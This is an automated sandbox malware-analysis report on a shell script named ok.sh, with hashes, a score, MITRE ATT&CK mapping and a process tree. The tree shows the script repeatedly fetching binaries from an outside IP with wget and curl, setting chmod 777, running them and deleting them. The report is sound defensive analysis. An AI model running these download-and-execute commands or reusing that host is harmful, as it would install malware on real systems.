3641cfe149078057cf4ef3c18560e7b16e5f91548f42276c654bd21c16d09352

Analysis

max time kernel
3s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/08/2026, 02:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260820-c265faba82
SHA256 3641cfe149078057cf4ef3c18560e7b16e5f91548f42276c654bd21c16d09352
MD5 1f135456bcf05bdb759f84f55dbfeb66
SHA1 e010158711ffdf2247c2ab4dc9b9f58ebdc5908f
SHA512 d0cc97c34cfb288feb88dc826dd5dcfc4844a6132505d2211620cd6ae7f1ac626f87a4f33436cc9898a544b38e5f86e87d6db640e23ce709e835dee17e06243d
TLSH
T177316FDA00111A361102DE4E77A6705CA64DB2FB394FD7E48C5C4EEC86897CCF691B6D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1556	chmod
1570	chmod
1584	chmod
1521	chmod
1542	chmod
1563	chmod
1577	chmod
1591	chmod
1510	chmod
1528	chmod
1535	chmod
1549	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/456417	1511	ok.sh
/tmp/573976	1522	ok.sh
/tmp/279fe0	1529	ok.sh
/tmp/c72382	1536	ok.sh
/tmp/b3679a	1543	ok.sh
/tmp/0b1663	1550	ok.sh
/tmp/515c80	1557	ok.sh
/tmp/49fa35	1564	ok.sh
/tmp/9dfbc4	1571	ok.sh
/tmp/0db2ec	1578	ok.sh
/tmp/c515ee	1585	ok.sh
/tmp/8ac363	1592	ok.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/c72382	curl
File opened for modification	/tmp/0b1663	curl
File opened for modification	/tmp/49fa35	curl
File opened for modification	/tmp/9dfbc4	curl
File opened for modification	/tmp/c515ee	curl
File opened for modification	/tmp/b3679a	curl
File opened for modification	/tmp/515c80	curl
File opened for modification	/tmp/0db2ec	curl
File opened for modification	/tmp/8ac363	curl
File opened for modification	/tmp/456417	curl
File opened for modification	/tmp/573976	curl
File opened for modification	/tmp/279fe0	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:1502
- /usr/bin/wget
  wget http://5.182.210.174/456417
  2⤵
  PID:1503
- /usr/bin/curl
  curl -O http://5.182.210.174/456417
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 456417
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/456417
  ./456417 bc
  2⤵
  PID:1511
- /bin/rm
  rm -rf 456417
  2⤵
  PID:1513
- /bin/rm
  rm -rf 456417.1
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://5.182.210.174/573976
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://5.182.210.174/573976
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 573976
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/573976
  ./573976 bc
  2⤵
  PID:1522
- /bin/rm
  rm -rf 573976
  2⤵
  PID:1524
- /bin/rm
  rm -rf 573976.1
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://5.182.210.174/279fe0
  2⤵
  PID:1526
- /usr/bin/curl
  curl -O http://5.182.210.174/279fe0
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 279fe0
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/279fe0
  ./279fe0 bc
  2⤵
  PID:1529
- /bin/rm
  rm -rf 279fe0
  2⤵
  PID:1531
- /bin/rm
  rm -rf 279fe0.1
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://5.182.210.174/c72382
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://5.182.210.174/c72382
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 c72382
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/c72382
  ./c72382 bc
  2⤵
  PID:1536
- /bin/rm
  rm -rf c72382
  2⤵
  PID:1538
- /bin/rm
  rm -rf c72382.1
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://5.182.210.174/b3679a
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://5.182.210.174/b3679a
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 b3679a
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/b3679a
  ./b3679a bc
  2⤵
  PID:1543
- /bin/rm
  rm -rf b3679a
  2⤵
  PID:1545
- /bin/rm
  rm -rf b3679a.1
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://5.182.210.174/0b1663
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://5.182.210.174/0b1663
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod 777 0b1663
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/0b1663
  ./0b1663 bc
  2⤵
  PID:1550
- /bin/rm
  rm -rf 0b1663
  2⤵
  PID:1552
- /bin/rm
  rm -rf 0b1663.1
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://5.182.210.174/515c80
  2⤵
  PID:1554
- /usr/bin/curl
  curl -O http://5.182.210.174/515c80
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod 777 515c80
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/515c80
  ./515c80 bc
  2⤵
  PID:1557
- /bin/rm
  rm -rf 515c80
  2⤵
  PID:1559
- /bin/rm
  rm -rf 515c80.1
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://5.182.210.174/49fa35
  2⤵
  PID:1561
- /usr/bin/curl
  curl -O http://5.182.210.174/49fa35
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod 777 49fa35
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/49fa35
  ./49fa35 bc
  2⤵
  PID:1564
- /bin/rm
  rm -rf 49fa35
  2⤵
  PID:1566
- /bin/rm
  rm -rf 49fa35.1
  2⤵
  PID:1567
- /usr/bin/wget
  wget http://5.182.210.174/9dfbc4
  2⤵
  PID:1568
- /usr/bin/curl
  curl -O http://5.182.210.174/9dfbc4
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod 777 9dfbc4
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/9dfbc4
  ./9dfbc4 bc
  2⤵
  PID:1571
- /bin/rm
  rm -rf 9dfbc4
  2⤵
  PID:1573
- /bin/rm
  rm -rf 9dfbc4.1
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://5.182.210.174/0db2ec
  2⤵
  PID:1575
- /usr/bin/curl
  curl -O http://5.182.210.174/0db2ec
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod 777 0db2ec
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/0db2ec
  ./0db2ec bc
  2⤵
  PID:1578
- /bin/rm
  rm -rf 0db2ec
  2⤵
  PID:1580
- /bin/rm
  rm -rf 0db2ec.1
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://5.182.210.174/c515ee
  2⤵
  PID:1582
- /usr/bin/curl
  curl -O http://5.182.210.174/c515ee
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod 777 c515ee
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/c515ee
  ./c515ee bc
  2⤵
  PID:1585
- /bin/rm
  rm -rf c515ee
  2⤵
  PID:1587
- /bin/rm
  rm -rf c515ee.1
  2⤵
  PID:1588
- /usr/bin/wget
  wget http://5.182.210.174/8ac363
  2⤵
  PID:1589
- /usr/bin/curl
  curl -O http://5.182.210.174/8ac363
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod 777 8ac363
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/8ac363
  ./8ac363 bc
  2⤵
  PID:1592
- /bin/rm
  rm -rf 8ac363
  2⤵
  PID:1594
- /bin/rm
  rm -rf 8ac363.1
  2⤵
  PID:1595

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

456417

Path /tmp/456417
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download